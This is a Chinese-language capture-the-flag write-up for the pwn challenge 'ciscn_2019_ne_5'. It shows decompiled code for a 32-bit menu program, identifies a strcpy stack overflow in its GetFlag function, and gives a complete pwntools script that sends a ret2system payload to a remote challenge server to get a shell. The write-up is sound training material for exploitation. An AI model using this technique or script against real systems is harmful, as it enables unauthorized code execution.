保护只开了一个栈不可执行,动态编译,32位,查看IDA
// main函数主要是一个目录,没有啥溢出点
puts("Welcome!");
puts("Input your operation:");
puts("1.Add a log.");
puts("2.Display all logs.");
puts("3.Print all logs.");
// 注意还有个选项4,这里没显示
printf("0.Exit\n:");
__isoc99_scanf("%d", &v4);
switch ( v4 )
{
case 0:
exit(0);
return result;
case 1:
AddLog((int)src);
result = sub_804892B(argc, argv, envp);
break;
case 2:
Display(src);
result = sub_804892B(argc, argv, envp);
break;
case 3:
Print();
result = sub_804892B(argc, argv, envp);
break;
case 4:
GetFlag(src);
result = sub_804892B(argc, argv, envp);
break;
default:
result = sub_804892B(argc, argv, envp);
break;
}
// AddLog就是输入一段字符串,没啥有价值
int __cdecl AddLog(int a 1)
{
printf("Please input new log info:");
return __isoc99_scanf("%128s", a1);
}
// Display 打印一段输入内容
int __cdecl Display(char *s)
{
return puts(s);
}
// 这个函数没啥用,就是表明存在system函数
int Print()
{
return system("echo Printing......");
}
// GetFlag,该函数中存在溢出漏洞,在strcpy函数中,src可以无限大的,但dest是有限的
int __cdecl GetFlag(char *src)
{
char dest[4]; // [esp+0h] [ebp-48h] BYREF
char v3[60]; // [esp+4h] [ebp-44h] BYREF
*(_DWORD *)dest = 48;
memset(v3, 0, sizeof(v3));
strcpy(dest, src);
return printf("The flag is your log:%s\n", dest);
}
在GetFlag中, strcpy(dest, src)函数存在栈溢出漏洞,因此我们要构建溢出src字符串,AddLog可以对src进行修改,因此我们先执行AddLog函数修改src,再执行GetFlag函数,执行漏洞,获取权限
步骤分析:
# encoding=utf-8
from pwn import *
from LibcSearcher import *
context.log_level = True
context(os='linux', arch='amd64')
# io = process("./ciscn_2019_ne_5")
io = remote("node4.buuoj.cn",26667)
elf = ELF("./ciscn_2019_ne_5")
system_addr = elf.symbols["system"]
main_addr = elf.symbols["main"]
sh_addr = 0x080482ea
io.sendlineafter("Please input admin password:",'administrator')
io.sendline("1")
payload = b'a'*(0x48+4) + p32(system_addr) + p32(main_addr) + p32(sh_addr)
io.sendlineafter("info:",payload)
io.sendline("4")
io.interactive()